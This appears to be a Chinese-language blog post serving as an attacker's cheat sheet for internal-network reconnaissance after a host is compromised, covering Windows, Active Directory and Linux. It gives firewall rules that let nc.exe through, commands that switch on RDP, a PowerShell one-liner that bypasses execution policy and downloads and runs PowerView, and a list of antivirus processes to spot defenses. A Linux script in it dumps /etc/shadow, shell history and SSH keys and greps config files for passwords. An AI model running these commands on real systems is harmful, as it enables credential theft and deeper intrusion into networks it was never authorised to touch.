一、信息收集篇

        信息收集是攻击者为了增加渗透攻击成功的概率和寻找关键和脆弱资产而在攻击前对攻击目标采取的一系列探测目标信息活动。“知己知彼,百战不殆”,信息收集的全面性和对资产探索的深度会直接影响到攻击者渗透测试的结果。内网信息收集的首要目标是对已控主机进行信息收集:获取主机的系统和用户信息,了解主机所处网络环境的网络通信状况,明确当前机器所在的内网环境,是在工作组里还是域里。最终找出内网中最薄弱的环节,从薄弱处入手攻击,深入内网。

目录

1 主机信息收集

1.1 常用命令介绍

1.2 防火墙和杀软查看

1.3 远程桌面开启

1.4 自动化脚本工具整理  

2 域信息收集

2.1 判断是否存在域

2.2 域内主机探测

2.3 查找域控服务器

2.4 查找域管理员

2.5 其他信息收集

3 Linux信息收集

3.1  常用命令

3.2 shell脚本


1 主机信息收集

1.1 常用命令介绍

操作

命令

查看当前网络信息

ipconfig /allroute print,arp -a,whoami /all

查看当前用户信息

net userquery user || qwinstanet localgroup "Administrators"

查看当前系统信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

echo %PROCESSOR_ARCHITECTURE%

查看安装软件信息

powerShell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

wmic product get name,version

查看系统补丁信息

systeminfo | findstr /c:"修补程序"

wmic qfe get Caption,Description,HotFixID,InstalledOn

systeminfo

查看运行服务信息

wmic service list brief

查看当前进程信息

tasklist /svc

查看当前端口信息

netstat -ano

查看当前特权信息whoami /priv

 其他信息查看命令:

wmic startup get command,caption    //查看开机启动程序
net statistics workstation            //查看开机时间
schtasks /query /fo LIST /v          //查看计划任务
net share                        //查询本地共享
netstat -anob                     //对应的发起程序
netstat -ano | findstr "ESTABLISHED"     //连接状态的端口及ip
route print      //路由表查询
arp -a           //路由表查询
wmic logicaldisk get description,name,size,freespace /value  //查询本机所有的盘符
fsutil fsinfo  
fsinfo volumeinfo C:|findstr "卷名"     //查看卷名称,需要管理员权限

 1.2 防火墙和杀软查看

1)查看防火墙配置及状态

    netsh firewall show state         查看防火墙状态

    netsh firewall show config       查看防火墙配置

2)windows server 2003及之前的版本允许指定程序全部链接:

    netsh firewall add allowdprogram c:\nc.exe "allow nc" enable

3)windows server 2003之后:

    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"

4)允许指定程序退出

    netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"

5)允许3389端口放行

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

6)杀毒软件

    wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

常见的杀毒软件进程:

360sd.exe 360杀毒

360tray.exe 360实时保护

ZhuDongFangYu.exe 360主动防御

KSafeTray.exe 金山卫士

SafeDogUpdateCenter.exe 服务器安全狗

McAfee McShield.exe McAfee

egui.exe NOD32

AVP.EXE 卡巴斯基

avguard.exe 小红伞

bdagent.exe BitDefender

 1.3 远程桌面开启

1)命令行中的注册表语句

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\WinStations\RDP-Tcp” /V PortNumber

2)win server 2003 开启3389

wmic path win32_terminalservicesetting where (_CLASS !=””) call setallowtsconnections 1

3)win server 2008 ,win server 2012 开启3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic  /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

1.4 自动化脚本工具整理  

1)Windows-Exploit_Suggester

利用微软信息漏洞库写的一个python工具,Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

工具下载:

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.https://github.com/GDSSecurity/Windows-Exploit-Suggester微软公开漏洞库下载地址:Download Microsoft Security Bulletin Data from Official Microsoft Download Centerhttp://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982信息收集命令:

./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

定点漏洞探测:

./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2'

2)WMIC脚本

        Windows管理工具命令行(WMIC),是一个功能丰富的Windows命令行工具,提供了从命令行接口实现批命令脚本的功能执行WMIWindows基于WBEM行业倡议和CIM标准的实现。操作系统信息是通过WMI对象的方式表示的。WMIC获得用户在CMD里的输入命令,按照自定义的别名找到对应WMI中命令,从而操作WMI接口集。

脚本如下:

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,
DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,
Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,
RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,
productState,pathToSignedProductExe /format:"%var%" >> out.html
wmic logicaldisk get description,name,size,freespace /value /format:"%var%" >> out.html

保存成bat

扩展,将所有需要的命令输出为脚本:

@echo off

echo ## 基础信息 > res.md
echo ```>> res.md
echo 系统结构: %PROCESSOR_ARCHITECTURE% >> res.md
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> res.md
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" >> res.md
echo ```>> res.md

echo ## 网络配置 >> res.md
echo ```>> res.md
ipconfig /all >> res.md
echo ```>> res.md

echo ## 补丁信息 >> res.md
echo ```>> res.md
systeminfo | findstr /C:"KB" >> res.md
echo ```>> res.md

echo ## 查看进程 >> res.md
echo ```>> res.md
tasklist /svc >> res.md
echo ```>> res.md

echo ## 用户信息 >> res.md
echo ```>> res.md
whoami /all >> res.md
echo ```>> res.md

echo ## 用户列表 >> res.md
echo ```>> res.md
net user >> res.md
net localgroup Administrators >> res.md
echo ```>> res.md

echo ## 在线用户 >> res.md
echo ```>> res.md
query user || qwinsta >> res.md
echo ```>> res.md

echo ## 端口信息 >> res.md
echo ```>> res.md
netstat -ano >> res.md
echo ```>> res.md

echo ## 共享列表 >> res.md
echo ```>> res.md
net share  >> res.md
echo ```>> res.md

echo ## 路由信息 >> res.md
echo ```>> res.md
route print  >> res.md
echo ```>> res.md

echo ## ARP缓存表 >> res.md
echo ```>> res.md
arp -a >> res.md
echo ```>> res.md

echo ## 防火墙配置 >> res.md
echo ```>> res.md
netsh firewall show config >> res.md
echo ```>> res.md

echo ## 代理配置 >> res.md
echo ```>> res.md
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | findstr -C:"ProxyEnable" -C:"ProxyServer" >> res.md
echo ```>> res.md

echo ## 远程连接 >> res.md
echo ```>> res.md
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" | findstr -C:"PortNumber" >> res.md
echo ```>> res.md

 3)fscan Go脚本

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。https://github.com/shadow1ng/fscan

 4)ping小工具

1、如果IP连续,例如(192.168.1.1-192.168.1.10):
@echo off&setlocal ENABLEDELAYEDEXPANSION
if exist onlist.txt
if exist offlist.txt 
for /l %%i in (1,1,10) do (
  ping -n 1 192.168.1.%%i>nul 2>nul
  if !errorlevel!==0 (echo 192.168.1.%%i >>c:\bat\onlist.txt) else (echo 192.168.1.%%i >>c:\bat\offlist.txt)
)
 
2、如果IP不连续,那使用一个文件plist写入要测试的地址列表,然后批处理:
@echo off&setlocal ENABLEDELAYEDEXPANSION
if exist c:\bat\onlist.txt del c:\bat\onlist.txt
if exist c:\bat\offlist.txt del c:\bat\offlist.txt 
for /f %%i in (c:\bat\pclist.txt) do (
  ping -n 1 %%i>nul 2>nul
  if !errorlevel!==0 (echo %%i >>c:\bat\onlist.txt) else (echo %%i >>c:\bat\offlist.txt)
)

5)Kali Linux中的工具

netdiscover –r 192.168.X.0/24
nmap -R 192.168.X.0/24   同网段优先使用arp探测
nmap -sP 192.168.X.0/24  跨网段ICMP协议探测
nmap –scriptnmap-vulners -sV <目标IP>  使用nmap-vulners脚本
nmap –scriptvulscan -sV <目标IP>   使用vulscan NSE脚本
nmap –script vulscan –script-argsvulscandb=scipvuldb.csv -sV <目标IP>
nmap –script vulscan –script-argsvulscandb=exploitdb.csv -sV <目标IP>
nmap –script vulscan –script-argsvulscandb=securitytracker.csv -sV <目标IP>
nmap –script nmap-vulners,vulscan–script-args vulscandb = scipvuldb.csv -sV <目标IP>
MSF
使用msf进行反弹shell进行内网渗透时,通过msf自带的扫描模块进行快速扫描。
主机存活探测:

  • auxiliary/scanner/discovery/arp_sweep   ARP扫描
  • auxiliary/scanner/discovery/udp_sweep   UDP扫描
  • auxiliary/scanner/netbios/nbname        NETBIOS扫描
  • auxiliary/scanner/snmp/snmp_enum        SNMP扫描
  • auxiliary/scanner/smb/smb_version       SMB扫描

端口扫描:

  • auxiliary/scanner/portscan/ack          TCP ACK端口扫描
  • auxiliary/scanner/portscan/ftpbounce    FTP bounce端口扫描
  • auxiliary/scanner/portscan/syn         SYN端口扫描
  • auxiliary/scanner/portscan/tcp          TCP端口扫描 
  • auxiliary/scanner/portscan/xmas         TCP XMas端口扫描

6)powershell

 powerview

Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"

PowerTools/PowerView at master · cheetz/PowerTools · GitHubhttps://github.com/cheetz/PowerTools/tree/master/PowerView 更多的参数:

Get-NetDomain                   -   gets the name of the current user's domain
Get-NetForest                   -   gets the forest associated with the current user's domain
Get-NetForestDomains            -   gets all domains for the current forest
Get-NetDomainControllers        -   gets the domain controllers for the current computer's domain
Get-NetCurrentUser              -   gets the current [domain\]username
Get-NetUser                     -   returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs                 -   gets all user ServicePrincipalNames
Get-NetOUs                      -   gets data for domain organization units
Get-NetGUIDOUs                  -   finds domain OUs linked to a specific GUID
Invoke-NetUserAdd               -   adds a local or domain user
Get-NetGroups                   -   gets a list of all current groups in the domain
Get-NetGroup                    -   gets data for each user in a specified domain group
Get-NetLocalGroups              -   gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup               -   gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices            -   gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd          -   adds a user to a specified local or domain group
Get-NetComputers                -   gets a list of all current servers in the domain
Get-NetFileServers              -   get a list of file servers used by current domain users
Get-NetShare                    -   gets share information for a specified server
Get-NetLoggedon                 -   gets users actively logged onto a specified server
Get-NetSessions                 -   gets active sessions on a specified server
Get-NetFileSessions             -   returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections              -   gets active connections to a specific server resource (share)
Get-NetFiles                    -   gets open files on a server
Get-NetProcesses                -   gets the remote processes and owners on a 

 NIshang:

powershell -exec bypass -Command "& {Import-Module C:\Users\LSJ\Desktop\内网工具\nishang\Scan\Invoke-PortScan.ps1; Invoke-PortScan -StartAddress 192.168.159.128 -EndAddress 192.168.159.132 -ResolveHost}" >> C:\Users\LSJ\Desktop\Result.txt

https://github.com/samratashok/nishanghttps://github.com/samratashok/nishang

2 域信息收集

2.1  判断是否存在域

1)ipconfig /all

“主 DNS 后缀” 一项有内容则为域环境,空的则当前机器应该在工作组。

 2)net config workstation

工作组特征:

  域特征:

  3)systeminfo

工作组特征 :          

 域特征:

 4)net time /domain

工作组特征:

                       

 域特征:

  [需要域用户才能成功查询]

2.2 域内主机探测

在明确当前环境是域环境时,可以优先探测内网中总共存在多少主机。

1)net view /domain:LINGSONGHC    //查询域内所有主机

2)net group "domain computers" /domain  //查询所有域成员计算机列表

3)Windows下使用ping命令扫描C段:

for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="

4)Linux 下使用ping命令扫描C段:

for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

2.3 查找域控服务器

        域控制器具有较大的权限,控制了域控制器,基本就控制了整个内网。所以要先判断出那台机器是域控制器。

nltest /DCLIST:lingsonghc
nslookup -type=SRV _ldap._tcp
nslookup -type=all ldap.tcp.dc._msdcs.域名
net time /domain                           //通常时间服务器是主控
net group "Domain controllers" /Domain     //查看域控制器
map IP -Pn -sV -p-                         //域控端口很多389,53,88等
setspn -T lingsonghc.com -Q /              //SPN扫描定位(SPN本身就是正常的kerberos请求,所以扫描隐蔽)  
nbtscan.exe 192.168.7.0/24                //nbtscan.exe(使用netbios协议扫描本地或远程 TCP/IP 网络上的开放 NetBIOS 名称服务器)

Nmap脚本: 

- Revision 38292: /nmap/scripts

smb-enum-domains.nse对域控制器进行信息收集扫描,可以获取主机信息,用户,密码策略可以用的用户等
smb-enum-users.nse在进行域渗透的时候,有了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息的时候,可以借助这个脚本对域控制器进行扫描
smb-enum-shares.nse遍历远程主机的共享目录
smb-enum-processes.nse通过smb对主机的系统进程进行遍历,通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙以及杀毒软件。
smb-enum-sessions.nse通过smb获取域内主机的用户登录session,查看当前是否有用户登录,对于我们抓取用户hash以及避免同时登陆被用户发现。
smb-os-discovery.nse通过smb协议来收集目标主机的操作系统,计算机名,域名,全称域名,域林名称,NetBIOS机器名,NetBIOS域名,工作组,系统时间。

2.4 查找域管理员

net group "domain controllers" /domain   //查看域控组
wmic useraccount get /all     //获取域内用户信息

net group "domain admins" /domain   //查询域管理员用户 

net group "Enterprise Admins" /domain  //查询管理员用户组

2.5 其他信息收集

net accounts /domain  
nltest /domain_trusts     //域内信任关系
nltest /dsgetdc:LINGSONGHC /server:192.168.159.120
setspn -T LINGSONGHC -Q */*
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器
net group "domain computers" /domain 查看域机器
net group /domain 查看域里面的组
net view 查看同一域内机器列表
net view \ip 查看某ip共享
net view \GHQ 查看GHQ计算机的共享资源
net view /domain 查看内网存在多少个域
net view /domain:XYZ 查看域中的机器列表

3 Linux信息收集

3.1  常用命令

查看内核信息(是否为x64还是x86)uname -a
查看版本信息

cat /etc/issue

cat /etc/*-release

查看网络地址ifconfig
查看CPU信息cat /proc/cpuinfo
查看主机名hostname
查看host信息

cat /etc/hosts

cat /etc/resolv.conf

获取用户名、gid、uid、home路径

awk -F ':' '{print $1,$3,$4,$6;}' /etc/passwd

获取用户组

cat /etc/group

获取hash

cat /etc/shadow

列出超级用户

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

查看用户操作

cat ~/.bash_history

查看端口netstat
查看进程

ps -aux

ps -ef

ps -A -o user,pid,tty,start,time,command | grep -E "[^]]$"
查看程序

dpkg -l

rpm -qa

其他命令:

# lspci -tv # 列出所有PCI设备 
# lsusb -tv # 列出所有USB设备 
# lsmod # 列出加载的内核模块 
# env # 查看环境变量资源 
# free -m # 查看内存使用量和交换区使用量 
# df -h # 查看各分区使用情况 
# grep MemTotal /proc/meminfo # 查看内存总量 
# grep MemFree /proc/meminfo # 查看空闲内存量 
# uptime # 查看系统运行时间、用户数、负载 
# cat /proc/loadavg # 查看系统负载磁盘和分区 
# mount | column -t # 查看挂接的分区状态 
# fdisk -l # 查看所有分区 
# swapon -s # 查看所有交换分区 
# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备) 
# dmesg | grep IDE # 查看启动时IDE设备检测状况网络 
# ifconfig # 查看所有网络接口的属性 
# iptables -L # 查看防火墙设置 
# route -n # 查看路由表 
# netstat -lntp # 查看所有监听端口 
# netstat -antp # 查看所有已经建立的连接 
# netstat -s # 查看网络统计信息进程 
# top # 实时显示进程状态用户 
# id <用户名> # 查看指定用户信息 
# last # 查看用户登录日志 
# cut -d: -f1 /etc/passwd # 查看系统所有用户 
# cut -d: -f1 /etc/group # 查看系统所有组 
# crontab -l # 查看当前用户的计划任务服务 
# chkconfig –list # 列出所有系统服务 
# chkconfig –list | grep on # 列出所有启动的系统服务程序 

3.2 shell脚本

#!/bin/bash
# by forum.ywhack.com

#输出文件
filename=$(date +%s)'.log'

echo "信息收集"
echo -e "\n" | tee -a $filename
echo "账户信息收集" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "\n" | tee -a $filename
echo "shadow" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "\n" | tee -a $filename
echo "进程信息收集" | tee -a $filename
ps aux | tee -a $filename
echo -e "\n" | tee -a $filename
echo "网络连接" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "\n" | tee -a $filename
echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "\n" | tee -a $filename
echo "端口监听" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "增加用户的日志" | tee -a $filename
grep "useradd" /var/log/secure  | tee -a $filename
echo -e "\n" | tee -a $filename
echo "History操作提取" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "\n" | tee -a $filename
echo "登录成功的IP" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename   
echo -e "\n" | tee -a $filename
echo "查看路由表" | tee -a $filename
route -n | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 SSH key" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
    cat ${sshkey} | tee -a $filename
else
    echo -e "SSH key文件不存在\n" | tee -a $filename
fi
echo -e "\n" | tee -a $filename
echo "查看 known_hosts" | tee -a $filename
cat ~/.ssh/known_hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查找WEB-INF" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "\n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "\n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "\n" | tee -a $filename
# Author cances
echo "ip和网卡信息" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "用户登陆日志" | tee -a $filename
lastlog | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 hosts" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 系统版本" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 内核版本" | tee -a $filename
uname -mrs | tee -a $filename

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值